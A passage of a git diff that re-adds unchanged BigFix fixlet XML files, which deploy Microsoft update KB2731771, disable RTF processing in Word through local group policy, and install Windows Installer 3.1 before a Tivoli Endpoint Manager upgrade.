-    <Relevance>((name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) AND (service pack major version of it = 1 OR service pack major version of it = 0)) of operating system</Relevance>
-    <Category>Security Patch</Category>
-    <Source>Microsoft</Source>
-    <SourceID>KB2731771</SourceID>
-    <SourceReleaseDate>2013-09-09</SourceReleaseDate>
-    <SourceSeverity>Optional</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-superseded_date</Name>
-      <Value>2012-11-14</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Tue, 14 Aug 2012 23:40:59 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-superseded</Name>
-      <Value>MS12-075</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 09 Sep 2013 16:24:52 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {x64 of operating system}
-
-	download http://download.microsoft.com/download/5/D/D/5DD3B258-BF31-4656-8D61-A4F564E7ADE6/Windows6.1-KB2731771-x64.msu
-	continue if {(size of it = 6580602 AND sha1 of it = "98dba6673cedbc2860c76b9686e895664d463347") of file "Windows6.1-KB2731771-x64.msu" of folder "__Download"}
-
-	// Is Windows Update service running?
-	continue if {exists running service "wuauserv" OR NOT exists service "wuauserv" whose (start type of it = "disabled")}
-
-	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.1-KB2731771-x64.msu"}" /quiet /norestart
-
-	action requires restart "98dba6673cedbc2860c76b9686e895664d463347"
-
-else
-
-	download http://download.microsoft.com/download/5/D/D/5DD3B258-BF31-4656-8D61-A4F564E7ADE6/Windows6.1-KB2731771-x86.msu
-	continue if {(size of it = 4904874 AND sha1 of it = "86675d2fd327b328793dc179727ce0ce5107a72e") of file "Windows6.1-KB2731771-x86.msu" of folder "__Download"}
-
-	// Is Windows Update service running?
-	continue if {exists running service "wuauserv" OR NOT exists service "wuauserv" whose (start type of it = "disabled")}
-
-	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.1-KB2731771-x86.msu"}" /quiet /norestart
-
-	action requires restart "86675d2fd327b328793dc179727ce0ce5107a72e"
-
-endif
-]]></ActionScript>
-    </DefaultAction>
-    <Action ID="Action2841">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to view this Security Bulletin from Microsoft.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/2731771</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : KB2731771: New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2
+  ID       : 2592
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-09-09T09:27:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>KB2731771: New APIs for conversion between local time and UTC - Windows 7 (x86 and x64) and Windows Server 2008r2</Title>
+    <Description><![CDATA[<DIV class=FixletMessage>
+<TABLE>
+<TBODY>
+<TR>
+<TD>When you run an application that requires date interpretation and that uses the new APIs on a computer that is running Windows 7 or Windows Server 2008 R2, the following issues may occur:<BR>
+<UL>
+<LI>Applications or web pages crash.
+<LI>You cannot log on to web-based applications.
+<LI>When you schedule a meeting by using a calendar application, and the recipient of the calendar item is located in a different time zone, the calendar item does not display the correct meeting time.
+<LI>JavaScript-based stock ticker applications or JavaScript-based chart applications do not work as expected.</LI></UL>
+<P><B>Note:</B> Affected computers may report back as 'Pending Restart' once the update has run successfully, but will not report back their final status until the computer has been restarted.<BR><BR><B>Note:</B> This security update is also referenced under KB2731771.</P></TD></TR></TBODY></TABLE></DIV>
+<DIV class=FixletProperty>
+<H4>File Size:</H4>4.67 MB or 6.27 MB</DIV>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>NOT(exists names whose (it as string contains &quot;6.1.1.1&quot;) of values of keys whose (name of it contains &quot;Package_for_KB2731771&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\PackageIndex&quot; of native registry)</Relevance>
+    <Relevance>not pending restart &quot;86675d2fd327b328793dc179727ce0ce5107a72e&quot; AND not pending restart &quot;98dba6673cedbc2860c76b9686e895664d463347&quot;</Relevance>
+    <Relevance>((name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) AND (service pack major version of it = 1 OR service pack major version of it = 0)) of operating system</Relevance>
+    <Category>Security Patch</Category>
+    <Source>Microsoft</Source>
+    <SourceID>KB2731771</SourceID>
+    <SourceReleaseDate>2013-09-09</SourceReleaseDate>
+    <SourceSeverity>Optional</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-superseded_date</Name>
+      <Value>2012-11-14</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 14 Aug 2012 23:40:59 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-superseded</Name>
+      <Value>MS12-075</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 09 Sep 2013 16:24:52 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {x64 of operating system}
+
+	download http://download.microsoft.com/download/5/D/D/5DD3B258-BF31-4656-8D61-A4F564E7ADE6/Windows6.1-KB2731771-x64.msu
+	continue if {(size of it = 6580602 AND sha1 of it = "98dba6673cedbc2860c76b9686e895664d463347") of file "Windows6.1-KB2731771-x64.msu" of folder "__Download"}
+
+	// Is Windows Update service running?
+	continue if {exists running service "wuauserv" OR NOT exists service "wuauserv" whose (start type of it = "disabled")}
+
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.1-KB2731771-x64.msu"}" /quiet /norestart
+
+	action requires restart "98dba6673cedbc2860c76b9686e895664d463347"
+
+else
+
+	download http://download.microsoft.com/download/5/D/D/5DD3B258-BF31-4656-8D61-A4F564E7ADE6/Windows6.1-KB2731771-x86.msu
+	continue if {(size of it = 4904874 AND sha1 of it = "86675d2fd327b328793dc179727ce0ce5107a72e") of file "Windows6.1-KB2731771-x86.msu" of folder "__Download"}
+
+	// Is Windows Update service running?
+	continue if {exists running service "wuauserv" OR NOT exists service "wuauserv" whose (start type of it = "disabled")}
+
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.1-KB2731771-x86.msu"}" /quiet /norestart
+
+	action requires restart "86675d2fd327b328793dc179727ce0ce5107a72e"
+
+endif
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action2841">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to view this Security Bulletin from Microsoft.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/2731771</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/KB2953095 - Disable RTF processing in MS Word (3741).bes b/Sites/Windows Management/Fixlets/Fixlets/KB2953095 - Disable RTF processing in MS Word (3741).bes
index 11042eac2..648988aee 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/KB2953095 - Disable RTF processing in MS Word (3741).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/KB2953095 - Disable RTF processing in MS Word (3741).bes	
@@ -1,101 +1,101 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : KB2953095 - Disable RTF processing in MS Word
-  ID       : 3741
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-03-27T12:18:15
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>KB2953095 - Disable RTF processing in MS Word</Title>
-    <Description><![CDATA[<P>&nbsp;</P>
-<P>This fixlet uses Local Group Policy to set per-user registry entries. These entries disable RTF processing in MS Word. See the MS KB2953095.</P>
-<P><STRONG>NOTE:</STRONG> This may report back as "<STRONG>failed</STRONG>" but actually <STRONG>succeed</STRONG> due to difficulties with writing relevance to detect the local GPO change.</P>
-<P>The changes are made the binary file located here:&nbsp; C:\Windows\System32\GroupPolicy\User\Registry.pol</P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance><![CDATA[/* Word 2003 through 2013 installed */ exists regapp "winword.exe" whose(version of it >= "11.0" AND version of it < "16")]]></Relevance>
-    <Relevance><![CDATA[/* This relevance might not work to detect the need to run correctly. What is the best way to determine the current local GPO state? */ not exists keys whose(exists key "Software\Policies\Microsoft\office" of it AND 4 = number of keys whose(name of it starts with "file" AND name of it ends with "block" AND exists value "RtfFiles" whose(it > 0) of it) of keys "word\security" of keys of key "Software\Policies\Microsoft\office" of it) of key "HKEY_USERS" of registry]]></Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2014-03-27</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 27 Mar 2014 19:17:58 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-// Download Utilities for automating Local Group Policy management
-//   http://blogs.technet.com/b/fdcc/archive/2008/05/07/lgpo-utilities.aspx
-prefetch LGPO_Utilities.zip sha1:e849599553425754e2e070014fa7967d75671bdf size:311761 http://blogs.technet.com/cfs-filesystemfile.ashx/__key/telligent-evolution-components-attachments/01-5808-00-00-03-05-16-48/LGPO_2D00_Utilities.zip
-
-// Download UnZip utility
-prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
-utility __Download\unzip.exe
-
-// Download RunAsCurrentUser utility
-prefetch RunAsCurrentUser.exe sha1:ee47505ebfb2790b9da8a20ed70e67158e9753d0 size:342528 http://software.bigfix.com/download/bes/util/RunAsCurrentUser-2.0.3.1.exe sha256:1a9b518c775e2a85a7c47801e9b8221df338a65ad8df326485e4cd2aea22fe52
-
-waithidden __Download\unzip.exe -o "{pathname of client folder of current site}\__Download\LGPO_Utilities.zip" -d "{pathname of client folder of current site}\__Download"
-
-// Create LGPO file to be applied to the system
-delete __createfile
-delete __Download\KB2953095_LGPO
-createfile until END_OF_FILE
-; -------------------------------------------------------------------------
-; These Local Group Policy settings disable RTF file processing in MS WORD
-;  These effect Office 2003, 2007, 2010, 2013
-;  This file is meant to be applied to a system using the Apply_LGPO_Delta utility
-;  http://blogs.technet.com/b/fdcc/archive/2008/05/07/lgpo-utilities.aspx
-;  https://www.ibm.com/developerworks/community/forums/html/topic?id=b59717e2-ac44-4361-b3fd-8b349ef4a785
-; -------------------------------------------------------------------------
-
-User
-software\policies\microsoft\office\15.0\word\security\fileblock
-RtfFiles
-DWORD:3
-
-User
-software\policies\microsoft\office\14.0\word\security\fileblock
-RtfFiles
-DWORD:3
-
-User
-software\policies\microsoft\office\12.0\word\security\fileopenblock
-RtfFiles
-DWORD:1
-
-User
-software\policies\microsoft\office\11.0\word\security\fileopenblock
-RtfFiles
-DWORD:1
-
-END_OF_FILE
-
-move __createfile "{pathname of client folder of current site}\__Download\KB2953095_LGPO"
-
-// Apply the above LGPO
-waithidden "{pathname of client folder of current site}\__Download\Apply_LGPO_Delta.exe" "{pathname of client folder of current site}\__Download\KB2953095_LGPO" /log "{pathname of client folder of current site}\__Download\Apply_LGPO_Delta.log" /error "{pathname of client folder of current site}\__Download\Apply_LGPO_Delta_ERROR.log"
-
-// Update GPO - This does not appear to work
-waithidden gpupdate /Force /Target:User /Wait:600 >> "{pathname of client folder of current site}\__Download\gpupdate.log"
-// Updating GPO as current user might not be needed.
-//waithidden __Download\RunAsCurrentUser.exe --w gpupdate /Force /Target:User /Wait:600 >> "{pathname of client folder of current site}\__Download\gpupdate.log"
-
-// If the above gpupdate commands work correctly, then a restart should not be needed.
-action requires restart]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : KB2953095 - Disable RTF processing in MS Word
+  ID       : 3741
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-03-27T12:18:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>KB2953095 - Disable RTF processing in MS Word</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P>This fixlet uses Local Group Policy to set per-user registry entries. These entries disable RTF processing in MS Word. See the MS KB2953095.</P>
+<P><STRONG>NOTE:</STRONG> This may report back as "<STRONG>failed</STRONG>" but actually <STRONG>succeed</STRONG> due to difficulties with writing relevance to detect the local GPO change.</P>
+<P>The changes are made the binary file located here:&nbsp; C:\Windows\System32\GroupPolicy\User\Registry.pol</P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance><![CDATA[/* Word 2003 through 2013 installed */ exists regapp "winword.exe" whose(version of it >= "11.0" AND version of it < "16")]]></Relevance>
+    <Relevance><![CDATA[/* This relevance might not work to detect the need to run correctly. What is the best way to determine the current local GPO state? */ not exists keys whose(exists key "Software\Policies\Microsoft\office" of it AND 4 = number of keys whose(name of it starts with "file" AND name of it ends with "block" AND exists value "RtfFiles" whose(it > 0) of it) of keys "word\security" of keys of key "Software\Policies\Microsoft\office" of it) of key "HKEY_USERS" of registry]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-03-27</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 27 Mar 2014 19:17:58 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+// Download Utilities for automating Local Group Policy management
+//   http://blogs.technet.com/b/fdcc/archive/2008/05/07/lgpo-utilities.aspx
+prefetch LGPO_Utilities.zip sha1:e849599553425754e2e070014fa7967d75671bdf size:311761 http://blogs.technet.com/cfs-filesystemfile.ashx/__key/telligent-evolution-components-attachments/01-5808-00-00-03-05-16-48/LGPO_2D00_Utilities.zip
+
+// Download UnZip utility
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+utility __Download\unzip.exe
+
+// Download RunAsCurrentUser utility
+prefetch RunAsCurrentUser.exe sha1:ee47505ebfb2790b9da8a20ed70e67158e9753d0 size:342528 http://software.bigfix.com/download/bes/util/RunAsCurrentUser-2.0.3.1.exe sha256:1a9b518c775e2a85a7c47801e9b8221df338a65ad8df326485e4cd2aea22fe52
+
+waithidden __Download\unzip.exe -o "{pathname of client folder of current site}\__Download\LGPO_Utilities.zip" -d "{pathname of client folder of current site}\__Download"
+
+// Create LGPO file to be applied to the system
+delete __createfile
+delete __Download\KB2953095_LGPO
+createfile until END_OF_FILE
+; -------------------------------------------------------------------------
+; These Local Group Policy settings disable RTF file processing in MS WORD
+;  These effect Office 2003, 2007, 2010, 2013
+;  This file is meant to be applied to a system using the Apply_LGPO_Delta utility
+;  http://blogs.technet.com/b/fdcc/archive/2008/05/07/lgpo-utilities.aspx
+;  https://www.ibm.com/developerworks/community/forums/html/topic?id=b59717e2-ac44-4361-b3fd-8b349ef4a785
+; -------------------------------------------------------------------------
+
+User
+software\policies\microsoft\office\15.0\word\security\fileblock
+RtfFiles
+DWORD:3
+
+User
+software\policies\microsoft\office\14.0\word\security\fileblock
+RtfFiles
+DWORD:3
+
+User
+software\policies\microsoft\office\12.0\word\security\fileopenblock
+RtfFiles
+DWORD:1
+
+User
+software\policies\microsoft\office\11.0\word\security\fileopenblock
+RtfFiles
+DWORD:1
+
+END_OF_FILE
+
+move __createfile "{pathname of client folder of current site}\__Download\KB2953095_LGPO"
+
+// Apply the above LGPO
+waithidden "{pathname of client folder of current site}\__Download\Apply_LGPO_Delta.exe" "{pathname of client folder of current site}\__Download\KB2953095_LGPO" /log "{pathname of client folder of current site}\__Download\Apply_LGPO_Delta.log" /error "{pathname of client folder of current site}\__Download\Apply_LGPO_Delta_ERROR.log"
+
+// Update GPO - This does not appear to work
+waithidden gpupdate /Force /Target:User /Wait:600 >> "{pathname of client folder of current site}\__Download\gpupdate.log"
+// Updating GPO as current user might not be needed.
+//waithidden __Download\RunAsCurrentUser.exe --w gpupdate /Force /Target:User /Wait:600 >> "{pathname of client folder of current site}\__Download\gpupdate.log"
+
+// If the above gpupdate commands work correctly, then a restart should not be needed.
+action requires restart]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0 (153).bes b/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0 (153).bes
index b60cb512b..4f219d90d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0 (153).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0 (153).bes	
@@ -1,88 +1,88 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Known issues for Windows Server and/or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0
-  ID       : 153
-  Author   : besSupport
-  Domain   : BESC
-  Imported : 2012-10-17T13:13:48
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Known issues for Windows Server and/or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0</Title>
-    <Description><![CDATA[
-<TABLE><TBODY><TR><TD><P><STRONG>Version&nbsp;8.1.634.0 of Tivoli Endpoint Manager is now available!</STRONG></P> <P>The latest version of Tivoli Endpoint Manager provides several enhancements and fixes. Click on the link below for more information on changes in Tivoli Endpoint Manager 8.1.</P> <P>Windows Installer 3.1 or greater must be installed to perform this upgrade. Use the action below to install Windows Installer 3.1. Once this is complete, you can use <?Relevance link of fixlet whose (name of it contains "Updated Windows Server and/or Console - Tivoli Endpoint Manager version 8.1.634.0") of site of current fixlet?>to upgrade Tivoli Endpoint Manager Servers and Consoles to version 8.1.634.0.</P> <P><STRONG>Note:</STRONG> Affected computers may report back as 'Pending Restart' once the patch has run successfully, but the vulnerability will not be closed until the affected computer is restarted.</P> <P>If you have any issues during the upgrade, you may want to review the manual upgrade instructions below to help resolve the issues.</P></TD></TR></TBODY></TABLE>
-]]></Description>
-    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
-    <Relevance><![CDATA[((it = "Win7" OR it = "Win2008R2" OR it = "Win2008" OR it = "WinVista") of name of it OR ((name of it = "Win2003" AND service pack major version of it >= 1) OR ((it = "WinXP" OR it = "WinXP-2003") of name of it AND service pack major version of it >= 2))) of operating system]]></Relevance>
-    <Relevance>evaluation of client license = false</Relevance>
-    <Relevance><![CDATA[(exists service "BESRootServer" AND exists key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Enterprise Server" whose (exists ((value "Version" of it) as string as version) whose (it < "8.1.634.0" AND it >= "7.0.1")) of registry) OR (exists regapp "BESConsole.exe" whose (version of it < "8.1.634.0" AND version of it >= "6"))]]></Relevance>
-    <Relevance><![CDATA[not (exists file "msiexec.exe" whose (version of it >= "3.1") of system folder)]]></Relevance>
-    <Relevance>if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Brand&quot; whose (exists value &quot;value&quot; of it) of registry) then (value &quot;value&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Brand&quot; of registry as string = &quot;BigFix&quot;) else (&quot;BigFix&quot;=&quot;BigFix&quot;)</Relevance>
-    <Category>11</Category>
-    <Source>IBM</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-01-09</SourceReleaseDate>
-    <SourceSeverity>Critical</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Tue, 31 Jan 2012 21:19:33 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 30 Jul 2012 22:05:05 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-domain-attributes</Name>
-      <Value>BES Deploy Server Console</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to install Windows Installer 3.1 on relevant computers.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch WindowsKBforServer.exe sha1:8318455b36ba0a748307459279d46f2f4cdb5a0e size:2585872 http://download.microsoft.com/download/1/4/7/147ded26-931c-4daf-9095-ec7baf996f46/WindowsInstaller-KB893803-v2-x86.exe
-delete __Local/Get/WindowsKBforServer.exe
-move __Download/WindowsKBforServer.exe __Local/Get/WindowsKBforServer.exe
-wait __Local/Get/WindowsKBforServer.exe /passive /quiet /norestart
-delete __Local/Get/WindowsKBforServer.exe
-action may require restart</ActionScript>
-    </DefaultAction>
-    <Action ID="Action289">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> for manual upgrade instructions.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/install/upgradebes.html</ActionScript>
-    </Action>
-    <Action ID="Action290">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to see the new features in Trend Micro Endpoint Security Platform 8.1.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/changes/changes-8.1.html</ActionScript>
-    </Action>
-    <Action ID="Action291">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to view the Microsoft Windows Installer 3.1 information page.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/?id=893803</ActionScript>
-    </Action>
-    <Action ID="Action320">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to see the new features in Tivoli Endpoint Manager 8.1.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/changes/changes-8.1.html</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Known issues for Windows Server and/or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0
+  ID       : 153
+  Author   : besSupport
+  Domain   : BESC
+  Imported : 2012-10-17T13:13:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Known issues for Windows Server and/or Console upgrades - Tivoli Endpoint Manager version 8.1.634.0</Title>
+    <Description><![CDATA[
+<TABLE><TBODY><TR><TD><P><STRONG>Version&nbsp;8.1.634.0 of Tivoli Endpoint Manager is now available!</STRONG></P> <P>The latest version of Tivoli Endpoint Manager provides several enhancements and fixes. Click on the link below for more information on changes in Tivoli Endpoint Manager 8.1.</P> <P>Windows Installer 3.1 or greater must be installed to perform this upgrade. Use the action below to install Windows Installer 3.1. Once this is complete, you can use <?Relevance link of fixlet whose (name of it contains "Updated Windows Server and/or Console - Tivoli Endpoint Manager version 8.1.634.0") of site of current fixlet?>to upgrade Tivoli Endpoint Manager Servers and Consoles to version 8.1.634.0.</P> <P><STRONG>Note:</STRONG> Affected computers may report back as 'Pending Restart' once the patch has run successfully, but the vulnerability will not be closed until the affected computer is restarted.</P> <P>If you have any issues during the upgrade, you may want to review the manual upgrade instructions below to help resolve the issues.</P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance><![CDATA[((it = "Win7" OR it = "Win2008R2" OR it = "Win2008" OR it = "WinVista") of name of it OR ((name of it = "Win2003" AND service pack major version of it >= 1) OR ((it = "WinXP" OR it = "WinXP-2003") of name of it AND service pack major version of it >= 2))) of operating system]]></Relevance>
+    <Relevance>evaluation of client license = false</Relevance>
+    <Relevance><![CDATA[(exists service "BESRootServer" AND exists key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Enterprise Server" whose (exists ((value "Version" of it) as string as version) whose (it < "8.1.634.0" AND it >= "7.0.1")) of registry) OR (exists regapp "BESConsole.exe" whose (version of it < "8.1.634.0" AND version of it >= "6"))]]></Relevance>
+    <Relevance><![CDATA[not (exists file "msiexec.exe" whose (version of it >= "3.1") of system folder)]]></Relevance>
+    <Relevance>if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Brand&quot; whose (exists value &quot;value&quot; of it) of registry) then (value &quot;value&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Brand&quot; of registry as string = &quot;BigFix&quot;) else (&quot;BigFix&quot;=&quot;BigFix&quot;)</Relevance>
+    <Category>11</Category>
+    <Source>IBM</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-01-09</SourceReleaseDate>
+    <SourceSeverity>Critical</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 31 Jan 2012 21:19:33 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 30 Jul 2012 22:05:05 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain-attributes</Name>
+      <Value>BES Deploy Server Console</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to install Windows Installer 3.1 on relevant computers.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch WindowsKBforServer.exe sha1:8318455b36ba0a748307459279d46f2f4cdb5a0e size:2585872 http://download.microsoft.com/download/1/4/7/147ded26-931c-4daf-9095-ec7baf996f46/WindowsInstaller-KB893803-v2-x86.exe
+delete __Local/Get/WindowsKBforServer.exe
+move __Download/WindowsKBforServer.exe __Local/Get/WindowsKBforServer.exe
+wait __Local/Get/WindowsKBforServer.exe /passive /quiet /norestart
+delete __Local/Get/WindowsKBforServer.exe
+action may require restart</ActionScript>
+    </DefaultAction>
+    <Action ID="Action289">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> for manual upgrade instructions.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/install/upgradebes.html</ActionScript>
+    </Action>
+    <Action ID="Action290">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the new features in Trend Micro Endpoint Security Platform 8.1.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/changes/changes-8.1.html</ActionScript>
+    </Action>
+    <Action ID="Action291">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
